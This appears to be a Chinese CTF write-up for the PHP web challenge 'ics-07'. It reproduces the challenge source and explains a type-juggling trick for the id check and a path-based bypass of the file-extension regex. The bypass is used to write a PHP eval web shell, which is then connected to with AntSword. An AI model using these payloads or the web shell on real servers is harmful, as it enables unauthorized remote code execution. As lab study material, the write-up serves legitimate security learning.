ics-07
知识点
floatval($id) 返回参数的浮点部分，并转化为浮点型。
substr($str,-1) 返回字符串的最后一个字母
select * from actors where id='1afd945' 相当于id=1
chdir('uploaded') 改变当前的目录，相当于cd
Linux的目录结构特性
思路
进入题目界面，直接审计源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
显然分为两个关卡，我们先构造?id=1a9 ，成功通过第一关，使得$_SESSION['admin']=True
进入第二关
审计发现，我们上传的文件会被存放在uploaded/backup/下,而这里又进行了过滤，一开始我看一眼，发现过滤了php的全部可用后缀，然后上传.htaccess文件，发现解析不了，也就行不通，，然后就看了wp
发现正则这里原来可以绕过preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename) 表示的是最后一个.后面不允许出现php,php3之类的。
构造file=haker2.php/1.php/..&con=<?php echo "success";eval($_POST[hacker]); ?>
表示的意思是在1.php的父目录即hacker2.php所在的这个目录创建hacker2.php这个文件。
也可构造
file=haker3.php/.&con=<?php echo "success";eval($_POST[hacker]); ?> 在hacker3.php当前目录下创建hacker3.php文件。
即可实现绕过。然后蚁剑连接，拿到flag
参考博客!https://blog.csdn.net/qq_45552960/article/details/102777514
